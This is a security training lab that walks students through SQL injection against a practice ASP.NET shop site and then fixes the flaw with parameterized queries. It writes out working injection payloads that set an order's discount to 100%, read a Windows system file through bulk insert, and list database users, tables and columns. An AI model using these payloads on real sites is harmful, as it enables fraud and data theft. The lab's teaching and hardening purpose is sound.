A1 Injection Flaws Lab

SQL injection is the single most dangerous attack against sites today. The fixes are very simple, so it is well worth the time to harden our sites. In this lab we'll run some very real-world kinds of attacks and then learn to protect against it.

Mounting the attack

1. Go on the site and order multiple quantities of multiple items. Make note of your order number and order total.
2. Order number: _____ Order total: _____
3. Now logout … when we run our attack, we don't want to be tracked. ;-)
4. As an anonymous user navigate to BlogCreate.aspx.
5. Put this in the contents textbox:
   ```
   U been hacked.','anonymous',2017-7-01); update OrderDetails set
   Discount=1 where OrderId=XXXXX; --
   ```
   Except replace the X's with your actual order number. Hit the Submit button.
6. Now open server explorer and look at the database. Create a new query. Look at the discount on orderDetail for your order number.

You have just given yourself a 100% discount on your order.

7. Go back through and run those steps again except this time, put a breakpoint in BlogCreate.aspx.cs and run it through the debugger. While it is running look at the SQL command. Do you see what it is doing?

Bonus! Advanced attack vectors

Try these queries before hardening your site so you can see some more attack vectors.

8. Get any flat file from the server:
   ```
   U been hacked.','anonymous',2013-4-01); create table hacktable(line
   varchar(8000)); bulk insert hacktable from
   'c:\\windows\\system.ini'; select line, '', '', '', '' from
   hacktable; drop table hacktable; --
   ```
9. Get intel about the installation:
   ```
   U been hacked.','anonymous',2013-4-01); select @@version,
   @@servername, @@microsoftversion,'', ''; --
   ```
10. Get a list of database users:
    ```
    U been hacked.','anonymous',2013-4-01); select * from sysusers ; --
    ```
11. Get a list of all of our tables:
    ```
    U been hacked.','anonymous',2013-4-01); select so.name,
    max(si.rows), '','','' from sys.sysobjects AS so inner join
    sys.sysindexes as si on object_id(so.name) = si.id where (so.xtype =
    'U') group by so.name ; --
    ```
12. Get a list of columns from the OrderDetails table:
    ```
    U been hacked.','anonymous',2013-4-01); exec sp_columns
    OrderDetails; --
    ```

Now that you have an idea of what damage a hacker can do with this kind of attack, let's learn how to protect against them.

Hardening the site with parameters

The bad news; The authors of the site are using a really poor technique to run their queries. The good news; It is easy to correct.

13. Edit BlogCreate.aspx.cs.

14. Find the insert SQL. Change it to look like this:
```
var insertSql = "insert into BlogEntries (Title, Contents, Author,
PostedDate) values (@Title, @Contents, @Author, @PostedDate); select
top 1 * from blogentries;";
```
15. Those "@" signs represent parameters that the command can receive. Let's populate them with values.
16. Add these lines before the statement is executed.
```
var p1 = insertCommand.Parameters.Add("@Title", SqlDbType.NVarChar, 50);
p1.Value = title;
var p2 = insertCommand.Parameters.Add("@Contents", SqlDbType.NVarChar,
contents.Length);
p2.Value = contents;
var p3 = insertCommand.Parameters.Add("@Author", SqlDbType.NVarChar, 50);
p3.Value = User.Identity.Name;
var p4 = insertCommand.Parameters.Add("@PostedDate", SqlDbType.DateTime);
p4.Value = DateTime.Now;
```
17. Run the attack again. Create a new legitimate order. Order number: _____ Order total: _____. Inject the SQL again just as before. Take a look at your order. What is its total? _____.

Once you can verify that you've thwarted SQL Injection attacks, you can be finished.